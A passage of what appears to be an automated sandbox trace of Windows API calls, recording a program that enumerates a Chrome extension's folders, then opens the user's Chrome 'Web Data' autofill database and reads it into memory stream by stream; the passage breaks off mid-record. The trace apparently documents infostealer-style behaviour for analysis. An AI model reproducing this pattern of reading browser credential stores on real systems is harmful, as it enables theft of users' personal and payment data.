Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar\\*.*", lpFindFileData=0xef074 | out: lpFindFileData=0xef074) returned 0x72de10 [0054.530] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg\\*.*", lpFindFileData=0xef074 | out: lpFindFileData=0xef074) returned 0x72de10 [0054.530] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ca\\*.*", lpFindFileData=0xef074 | out: lpFindFileData=0xef074) returned 0x72de10 [0054.530] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\cs\\*.*", lpFindFileData=0xef074 | out: lpFindFileData=0xef074) returned 0x72de10 [0054.741] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef8d4 | out: ppstm=0xef8d4*=0x76e560) returned 0x0 [0054.741] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0054.741] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.747] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.747] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.771] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.771] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.771] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.771] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.771] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.771] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.771] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.771] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.771] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.771] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.771] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.771] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.771] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.771] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.771] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.771] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.771] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.772] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.772] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.772] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.772] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.772] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.772] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.772] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.772] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.772] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.772] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.772] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x1000, lpOverlapped=0x0) returned 1 [0054.772] IStream:Commit (This=0x76e560, grfCommitFlags=0xee8bc) returned 0x0 [0054.772] ReadFile (in: hFile=0x3e8, lpBuffer=0xee8bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef8bc, lpOverlapped=0x0 | out: lpBuffer=0xee8bc*, lpNumberOfBytesRead=0xef8bc*=0x0, lpOverlapped=0x0) returned 1 [0054.772] CloseHandle (hObject=0x3e8) returned 1 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.772] IStream:SetSize (This=0x76e560, libNewSize=0xef8ac) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0054.772] IStream:SetSize (This=0x76e560, libNewSize=0xef896) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x12, cb=0x0, dwLockType=0x0) returned 0x0 [0054.772] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.772] IStream:LockRegion (This=0x76e560, libOffset=0x13, cb=0x0, dwLockType=0x0) returned 0x0 [0054.772] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef897) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x20, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x38, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef894) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x3c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x28, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x64, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x64, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef83b) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x65, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x67, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x69, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x6b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef83b) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.773] IStream:LockRegion (This=0x76e560, libOffset=0x6c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.773] IStream:SetSize (This=0x76e560, libNewSize=0xef838) returned 0x0 [0054.773] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x9422760 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x70, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x72, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:SetSize (This=0x76e560, libNewSize=0xef83a) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x7fb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x7fb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:SetSize (This=0x76e560, libNewSize=0xef838) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x7ff, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x6000, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x6000, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:SetSize (This=0x76e560, libNewSize=0xef7df) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x6001, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x6003, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x6005, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.774] IStream:LockRegion (This=0x76e560, libOffset=0x6007, cb=0x0, dwLockType=0x0) returned 0x0 [0054.774] IStream:SetSize (This=0x76e560, libNewSize=0xef7df) returned 0x0 [0054.774] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x770828 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x6008, cb=0x0, dwLockType=0x0) returned 0x0 [0054.775] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x600a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.775] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x600c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.775] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x600e, cb=0x0, dwLockType=0x0) returned 0x0 [0054.775] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.775] IStream:LockRegion (This=0x76e560, libOffset=0x6010, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x6012, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x6014, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x6016, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x6018, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:SetSize (This=0x76e560, libNewSize=0xef7de) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x6767, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x6767, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x6768, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:SetSize (This=0x76e560, libNewSize=0xef7bf) returned 0x0 [0054.776] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75e920 [0054.776] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef7d4 | out: ppstm=0xef7d4*=0x76e6f0) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e560, libOffset=0x6769, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.776] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.776] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.776] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x763a18 [0054.776] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.776] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0xef77f) returned 0x0 [0054.777] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x763978 [0054.777] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x940a908 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.777] IStream:LockRegion (This=0x76e6f0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.777] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.777] LocalAlloc 